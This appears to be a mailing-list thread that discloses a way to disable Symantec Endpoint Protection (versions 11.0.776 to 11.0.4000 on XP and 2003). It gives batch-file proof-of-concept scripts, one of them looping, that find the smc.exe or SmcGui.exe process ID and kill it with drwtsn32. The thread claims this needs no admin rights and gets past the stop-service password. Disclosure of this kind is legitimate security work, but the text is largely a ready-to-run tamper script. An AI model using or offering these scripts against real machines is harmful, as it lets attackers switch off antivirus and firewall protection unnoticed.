You are right, but that will require admin privilege. Isn't it ?

If the Symantec Management Client service was somehow changed from
"smc.exe" to "smc.exe -P" it would effectively prevent the service from
starting in the first place. Correct?

Just as an update couldn't get any further other than t.he fact that
SMCGui.exe is getting killed as its running in the user account and
SMC.exe
in the system account.
Thank you.

For the "users" its working for SmcGUI.exe
Please find the code as below.
:here
tasklist | find /i "SmcGui.exe" > c:\pid.txt
FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
drwtsn32 -p %pidopt%
goto :here
I have tried it and when let this file run for around 2 mins, The
SmcGui.exe process loads up when you logoff and log back in (or
restart)but the icon does not show up in the taskbar.
Thank you.

Hi,
Probably this bug exists on majorly all the software's but security
software's like antivirus and firewall have to bucket it which is not
what its for SEP.
I have tested it on all versions of SEP from 11.0.776 to 11.0.4000(XP
and 2k3)
You can kill smc.exe with the help of drwtsn32.exe in the following
way.
drwtsn32 -p %pid%
where pid is the process id for smc.exe
POC:
Save the following as a batch file and execute it
tasklist | find /i "Smc.exe" > c:\pid.txt
FOR /F "tokens=2" %%R IN ('TYPE "c:\pid.txt"') DO SET pidopt=%%R
drwtsn32 -p %pidopt%
You don't need admin privilege for this exploit.
This will even bypass the password if it has been set to stop the
service.
If executed from the command line in the form drwtsn32 -p %pid% , the
command will be executed and it takes some time for the process to be
stopped.
If done from a batch file the command is completed only when the
process
is stopped.
